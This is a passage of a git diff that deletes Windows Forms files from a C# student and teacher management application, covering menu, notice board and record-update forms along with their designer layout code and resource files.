StudentMenu(STUDENTBL student) - { - InitializeComponent(); - updated = student; - } - public StudentMenu() - { - - } - - private void tableLayoutPanel1_Paint(object sender, PaintEventArgs e) - { - - } - - private void label3_Click(object sender, EventArgs e) - { - ChangePasswordForm password = new ChangePasswordForm(updated); - this.Close(); - password.Show(); - } - - private void label5_Click(object sender, EventArgs e) - { - StudentNotice notice = new StudentNotice(); - this.Close(); - notice.Show(); - } - - private void label4_Click(object sender, EventArgs e) - { - this.Close(); - ResultForm result = new ResultForm(updated); - result.Show(); - } - - private void label6_Click(object sender, EventArgs e) - { - - } - - private void StudentMenu_Load(object sender, EventArgs e) - { - - } - - private void button1_Click(object sender, EventArgs e) - { - this.Close(); - Form1 mainpage = new Form1(); - mainpage.Show(); - } - } -} diff --git a/Add Code Here/C#/CMS/StudentMenu.resx b/Add Code Here/C#/CMS/StudentMenu.resx deleted file mode 100644 index 1af7de150c9..00000000000 --- a/Add Code Here/C#/CMS/StudentMenu.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/StudentNotice.Designer.cs b/Add Code Here/C#/CMS/StudentNotice.Designer.cs deleted file mode 100644 index 26b212b60f2..00000000000 --- a/Add Code Here/C#/CMS/StudentNotice.Designer.cs +++ /dev/null @@ -1,211 +0,0 @@ - -namespace CMS -{ - partial class StudentNotice - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel2 = new System.Windows.Forms.TableLayoutPanel(); - this.label1 = new System.Windows.Forms.Label(); - this.tableLayoutPanel3 = new System.Windows.Forms.TableLayoutPanel(); - this.label2 = new System.Windows.Forms.Label(); - this.tableLayoutPanel4 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel5 = new System.Windows.Forms.TableLayoutPanel(); - this.noticeBox = new System.Windows.Forms.TextBox(); - this.label3 = new System.Windows.Forms.Label(); - this.tableLayoutPanel1.SuspendLayout(); - this.tableLayoutPanel2.SuspendLayout(); - this.tableLayoutPanel3.SuspendLayout(); - this.tableLayoutPanel5.SuspendLayout(); - this.SuspendLayout(); - // - // tableLayoutPanel1 - // - this.tableLayoutPanel1.ColumnCount = 2; - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 11.30536F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 88.69464F)); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel3, 1, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel2, 0, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel4, 0, 1); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel5, 1, 1); - this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); - this.tableLayoutPanel1.Name = "tableLayoutPanel1"; - this.tableLayoutPanel1.RowCount = 2; - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 25.2924F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 74.7076F)); - this.tableLayoutPanel1.Size = new System.Drawing.Size(1716, 684); - this.tableLayoutPanel1.TabIndex = 0; - // - // tableLayoutPanel2 - // - this.tableLayoutPanel2.BackColor = System.Drawing.Color.Black; - this.tableLayoutPanel2.ColumnCount = 1; - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Controls.Add(this.label1, 0, 0); - this.tableLayoutPanel2.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel2.ForeColor = System.Drawing.Color.Bisque; - this.tableLayoutPanel2.Location = new System.Drawing.Point(3, 3); - this.tableLayoutPanel2.Name = "tableLayoutPanel2"; - this.tableLayoutPanel2.RowCount = 1; - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Size = new System.Drawing.Size(188, 167); - this.tableLayoutPanel2.TabIndex = 0; - // - // label1 - // - this.label1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label1.AutoSize = true; - this.label1.BackColor = System.Drawing.Color.White; - this.label1.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.ForeColor = System.Drawing.Color.Black; - this.label1.Location = new System.Drawing.Point(29, 71); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(130, 24); - this.label1.TabIndex = 0; - this.label1.Text = "Notice Board"; - // - // tableLayoutPanel3 - // - this.tableLayoutPanel3.BackColor = System.Drawing.Color.Black; - this.tableLayoutPanel3.ColumnCount = 1; - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Controls.Add(this.label2, 0, 0); - this.tableLayoutPanel3.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel3.ForeColor = System.Drawing.Color.Bisque; - this.tableLayoutPanel3.Location = new System.Drawing.Point(197, 3); - this.tableLayoutPanel3.Name = "tableLayoutPanel3"; - this.tableLayoutPanel3.RowCount = 1; - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Size = new System.Drawing.Size(1516, 167); - this.tableLayoutPanel3.TabIndex = 1; - // - // label2 - // - this.label2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label2.AutoSize = true; - this.label2.BackColor = System.Drawing.Color.White; - this.label2.Font = new System.Drawing.Font("Book Antiqua", 16F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label2.ForeColor = System.Drawing.Color.Black; - this.label2.Location = new System.Drawing.Point(638, 64); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(240, 39); - this.label2.TabIndex = 0; - this.label2.Text = "Student Notice"; - // - // tableLayoutPanel4 - // - this.tableLayoutPanel4.BackColor = System.Drawing.Color.SkyBlue; - this.tableLayoutPanel4.ColumnCount = 1; - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel4.Location = new System.Drawing.Point(3, 176); - this.tableLayoutPanel4.Name = "tableLayoutPanel4"; - this.tableLayoutPanel4.RowCount = 1; - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Size = new System.Drawing.Size(188, 505); - this.tableLayoutPanel4.TabIndex = 2; - // - // tableLayoutPanel5 - // - this.tableLayoutPanel5.ColumnCount = 1; - this.tableLayoutPanel5.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel5.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel5.Controls.Add(this.noticeBox, 0, 0); - this.tableLayoutPanel5.Controls.Add(this.label3, 0, 1); - this.tableLayoutPanel5.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel5.Location = new System.Drawing.Point(197, 176); - this.tableLayoutPanel5.Name = "tableLayoutPanel5"; - this.tableLayoutPanel5.RowCount = 2; - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 83.76237F)); - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 16.23762F)); - this.tableLayoutPanel5.Size = new System.Drawing.Size(1516, 505); - this.tableLayoutPanel5.TabIndex = 3; - // - // noticeBox - // - this.noticeBox.Dock = System.Windows.Forms.DockStyle.Fill; - this.noticeBox.Location = new System.Drawing.Point(3, 3); - this.noticeBox.Multiline = true; - this.noticeBox.Name = "noticeBox"; - this.noticeBox.Size = new System.Drawing.Size(1510, 416); - this.noticeBox.TabIndex = 0; - this.noticeBox.TextChanged += new System.EventHandler(this.noticeBox_TextChanged); - // - // label3 - // - this.label3.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label3.AutoSize = true; - this.label3.BackColor = System.Drawing.Color.Green; - this.label3.Font = new System.Drawing.Font("Microsoft Sans Serif", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label3.Location = new System.Drawing.Point(728, 451); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(60, 25); - this.label3.TabIndex = 1; - this.label3.Text = "Back"; - this.label3.Click += new System.EventHandler(this.label3_Click); - // - // StudentNotice - // - this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(1716, 684); - this.Controls.Add(this.tableLayoutPanel1); - this.Name = "StudentNotice"; - this.Text = "StudentNotice"; - this.Load += new System.EventHandler(this.StudentNotice_Load); - this.tableLayoutPanel1.ResumeLayout(false); - this.tableLayoutPanel2.ResumeLayout(false); - this.tableLayoutPanel2.PerformLayout(); - this.tableLayoutPanel3.ResumeLayout(false); - this.tableLayoutPanel3.PerformLayout(); - this.tableLayoutPanel5.ResumeLayout(false); - this.tableLayoutPanel5.PerformLayout(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel3; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel2; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel4; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel5; - private System.Windows.Forms.TextBox noticeBox; - private System.Windows.Forms.Label label3; - } -} \ No newline at end of file diff --git a/Add Code Here/C#/CMS/StudentNotice.cs b/Add Code Here/C#/CMS/StudentNotice.cs deleted file mode 100644 index dbb39c56df5..00000000000 --- a/Add Code Here/C#/CMS/StudentNotice.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; -using CMS.BL; -using CMS.DL; - -namespace CMS -{ - public partial class StudentNotice : Form - { - public StudentNotice() - { - InitializeComponent(); - noticeBox.Text= TEACHERDL.readNoticeFromFile(); - } - - private void label3_Click(object sender, EventArgs e) - { - this.Close(); - StudentMenu menu = new StudentMenu(); - menu.Show(); - } - - private void noticeBox_TextChanged(object sender, EventArgs e) - { - - } - - private void StudentNotice_Load(object sender, EventArgs e) - { - - } - } -} diff --git a/Add Code Here/C#/CMS/StudentNotice.resx b/Add Code Here/C#/CMS/StudentNotice.resx deleted file mode 100644 index 1af7de150c9..00000000000 --- a/Add Code Here/C#/CMS/StudentNotice.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/TeacherMenu.Designer.cs b/Add Code Here/C#/CMS/TeacherMenu.Designer.cs deleted file mode 100644 index 07e9b6f4e0d..00000000000 --- a/Add Code Here/C#/CMS/TeacherMenu.Designer.cs +++ /dev/null @@ -1,230 +0,0 @@ - -namespace CMS -{ - partial class TeacherMenu - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel2 = new System.Windows.Forms.TableLayoutPanel(); - this.label1 = new System.Windows.Forms.Label(); - this.tableLayoutPanel3 = new System.Windows.Forms.TableLayoutPanel(); - this.label2 = new System.Windows.Forms.Label(); - this.tableLayoutPanel4 = new System.Windows.Forms.TableLayoutPanel(); - this.label3 = new System.Windows.Forms.Label(); - this.label4 = new System.Windows.Forms.Label(); - this.label5 = new System.Windows.Forms.Label(); - this.label6 = new System.Windows.Forms.Label(); - this.tableLayoutPanel1.SuspendLayout(); - this.tableLayoutPanel2.SuspendLayout(); - this.tableLayoutPanel3.SuspendLayout(); - this.tableLayoutPanel4.SuspendLayout(); - this.SuspendLayout(); - // - // tableLayoutPanel1 - // - this.tableLayoutPanel1.ColumnCount = 2; - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 21.875F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 78.125F)); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel2, 0, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel3, 1, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel4, 0, 1); - this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); - this.tableLayoutPanel1.Name = "tableLayoutPanel1"; - this.tableLayoutPanel1.RowCount = 2; - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 19.11111F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 80.88889F)); - this.tableLayoutPanel1.Size = new System.Drawing.Size(1748, 669); - this.tableLayoutPanel1.TabIndex = 0; - // - // tableLayoutPanel2 - // - this.tableLayoutPanel2.BackColor = System.Drawing.Color.Black; - this.tableLayoutPanel2.ColumnCount = 1; - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Controls.Add(this.label1, 0, 0); - this.tableLayoutPanel2.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel2.Location = new System.Drawing.Point(3, 3); - this.tableLayoutPanel2.Name = "tableLayoutPanel2"; - this.tableLayoutPanel2.RowCount = 1; - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Size = new System.Drawing.Size(376, 121); - this.tableLayoutPanel2.TabIndex = 0; - // - // label1 - // - this.label1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label1.AutoSize = true; - this.label1.BackColor = System.Drawing.Color.Black; - this.label1.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.ForeColor = System.Drawing.Color.White; - this.label1.Location = new System.Drawing.Point(132, 48); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(112, 24); - this.label1.TabIndex = 0; - this.label1.Text = "DashBoard"; - // - // tableLayoutPanel3 - // - this.tableLayoutPanel3.BackColor = System.Drawing.Color.Black; - this.tableLayoutPanel3.ColumnCount = 1; - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Controls.Add(this.label2, 0, 0); - this.tableLayoutPanel3.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel3.Location = new System.Drawing.Point(385, 3); - this.tableLayoutPanel3.Name = "tableLayoutPanel3"; - this.tableLayoutPanel3.RowCount = 1; - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Size = new System.Drawing.Size(1360, 121); - this.tableLayoutPanel3.TabIndex = 1; - // - // label2 - // - this.label2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label2.AutoSize = true; - this.label2.BackColor = System.Drawing.Color.Black; - this.label2.Font = new System.Drawing.Font("Book Antiqua", 14F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label2.ForeColor = System.Drawing.Color.White; - this.label2.Location = new System.Drawing.Point(618, 44); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(123, 32); - this.label2.TabIndex = 0; - this.label2.Text = "Teacher "; - // - // tableLayoutPanel4 - // - this.tableLayoutPanel4.BackColor = System.Drawing.Color.SkyBlue; - this.tableLayoutPanel4.ColumnCount = 1; - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Controls.Add(this.label3, 0, 0); - this.tableLayoutPanel4.Controls.Add(this.label4, 0, 1); - this.tableLayoutPanel4.Controls.Add(this.label5, 0, 2); - this.tableLayoutPanel4.Controls.Add(this.label6, 0, 3); - this.tableLayoutPanel4.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel4.Location = new System.Drawing.Point(3, 130); - this.tableLayoutPanel4.Name = "tableLayoutPanel4"; - this.tableLayoutPanel4.RowCount = 4; - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 47.65101F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 52.34899F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 96F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 258F)); - this.tableLayoutPanel4.Size = new System.Drawing.Size(376, 536); - this.tableLayoutPanel4.TabIndex = 2; - // - // label3 - // - this.label3.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label3.AutoSize = true; - this.label3.BackColor = System.Drawing.Color.Black; - this.label3.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label3.ForeColor = System.Drawing.Color.White; - this.label3.Location = new System.Drawing.Point(115, 31); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(146, 24); - this.label3.TabIndex = 1; - this.label3.Text = "Update Record"; - this.label3.Click += new System.EventHandler(this.label3_Click); - // - // label4 - // - this.label4.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label4.AutoSize = true; - this.label4.BackColor = System.Drawing.Color.Black; - this.label4.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label4.ForeColor = System.Drawing.Color.White; - this.label4.Location = new System.Drawing.Point(133, 121); - this.label4.Name = "label4"; - this.label4.Size = new System.Drawing.Size(109, 24); - this.label4.TabIndex = 2; - this.label4.Text = "All Record"; - this.label4.Click += new System.EventHandler(this.label4_Click); - // - // label5 - // - this.label5.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label5.AutoSize = true; - this.label5.BackColor = System.Drawing.Color.Black; - this.label5.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label5.ForeColor = System.Drawing.Color.White; - this.label5.Location = new System.Drawing.Point(125, 217); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(126, 24); - this.label5.TabIndex = 3; - this.label5.Text = "Notice View"; - this.label5.Click += new System.EventHandler(this.label5_Click); - // - // label6 - // - this.label6.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label6.AutoSize = true; - this.label6.BackColor = System.Drawing.Color.Red; - this.label6.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label6.ForeColor = System.Drawing.Color.White; - this.label6.Location = new System.Drawing.Point(98, 394); - this.label6.Name = "label6"; - this.label6.Size = new System.Drawing.Size(179, 24); - this.label6.TabIndex = 4; - this.label6.Text = "Back To User Page"; - this.label6.Click += new System.EventHandler(this.label6_Click); - // - // TeacherMenu - // - this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(1748, 669); - this.Controls.Add(this.tableLayoutPanel1); - this.Name = "TeacherMenu"; - this.Text = "TeacherMenu"; - this.tableLayoutPanel1.ResumeLayout(false); - this.tableLayoutPanel2.ResumeLayout(false); - this.tableLayoutPanel2.PerformLayout(); - this.tableLayoutPanel3.ResumeLayout(false); - this.tableLayoutPanel3.PerformLayout(); - this.tableLayoutPanel4.ResumeLayout(false); - this.tableLayoutPanel4.PerformLayout(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel2; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel3; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel4; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.Label label4; - private System.Windows.Forms.Label label5; - private System.Windows.Forms.Label label6; - } -} \ No newline at end of file diff --git a/Add Code Here/C#/CMS/TeacherMenu.cs b/Add Code Here/C#/CMS/TeacherMenu.cs deleted file mode 100644 index cea1a6169d6..00000000000 --- a/Add Code Here/C#/CMS/TeacherMenu.cs +++ /dev/null @@ -1,48 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; - -namespace CMS -{ - public partial class TeacherMenu : Form - { - public TeacherMenu() - { - InitializeComponent(); - } - - private void label3_Click(object sender, EventArgs e) - { - UpdateRecordForm temp = new UpdateRecordForm(); - this.Close(); - temp.Show(); - } - - private void label4_Click(object sender, EventArgs e) - { - ViewAllStudent temp = new ViewAllStudent(); - this.Close(); - temp.Show(); - } - - private void label5_Click(object sender, EventArgs e) - { - NoticeForm notice = new NoticeForm(); - this.Close(); - notice.Show(); - } - - private void label6_Click(object sender, EventArgs e) - { - UsersForm user = new UsersForm(); - this.Close(); - user.Show(); - } - } -} diff --git a/Add Code Here/C#/CMS/TeacherMenu.resx b/Add Code Here/C#/CMS/TeacherMenu.resx deleted file mode 100644 index 1af7de150c9..00000000000 --- a/Add Code Here/C#/CMS/TeacherMenu.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/UpdateRecordForm.Designer.cs b/Add Code Here/C#/CMS/UpdateRecordForm.Designer.cs deleted file mode 100644 index d49d901e9cc..00000000000 --- a/Add Code Here/C#/CMS/UpdateRecordForm.Designer.cs +++ /dev/null @@ -1,232 +0,0 @@ - -namespace CMS -{ - partial class UpdateRecordForm - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel3 = new System.Windows.Forms.TableLayoutPanel(); - this.label2 = new System.Windows.Forms.Label(); - this.tableLayoutPanel2 = new System.Windows.Forms.TableLayoutPanel(); - this.label1 = new System.Windows.Forms.Label(); - this.tableLayoutPanel4 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel5 = new System.Windows.Forms.TableLayoutPanel(); - this.dataGV = new System.Windows.Forms.DataGridView(); - this.Edit = new System.Windows.Forms.DataGridViewButtonColumn(); - this.button1 = new System.Windows.Forms.Button(); - this.tableLayoutPanel1.SuspendLayout(); - this.tableLayoutPanel3.SuspendLayout(); - this.tableLayoutPanel2.SuspendLayout(); - this.tableLayoutPanel4.SuspendLayout(); - this.tableLayoutPanel5.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.dataGV)).BeginInit(); - this.SuspendLayout(); - // - // tableLayoutPanel1 - // - this.tableLayoutPanel1.ColumnCount = 2; - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 22.75F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 77.25F)); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel3, 1, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel2, 0, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel4, 0, 1); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel5, 1, 1); - this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); - this.tableLayoutPanel1.Name = "tableLayoutPanel1"; - this.tableLayoutPanel1.RowCount = 2; - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 30.66667F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 69.33334F)); - this.tableLayoutPanel1.Size = new System.Drawing.Size(800, 450); - this.tableLayoutPanel1.TabIndex = 0; - // - // tableLayoutPanel3 - // - this.tableLayoutPanel3.BackColor = System.Drawing.Color.Black; - this.tableLayoutPanel3.ColumnCount = 1; - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Controls.Add(this.label2, 0, 0); - this.tableLayoutPanel3.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel3.Location = new System.Drawing.Point(185, 3); - this.tableLayoutPanel3.Name = "tableLayoutPanel3"; - this.tableLayoutPanel3.RowCount = 1; - 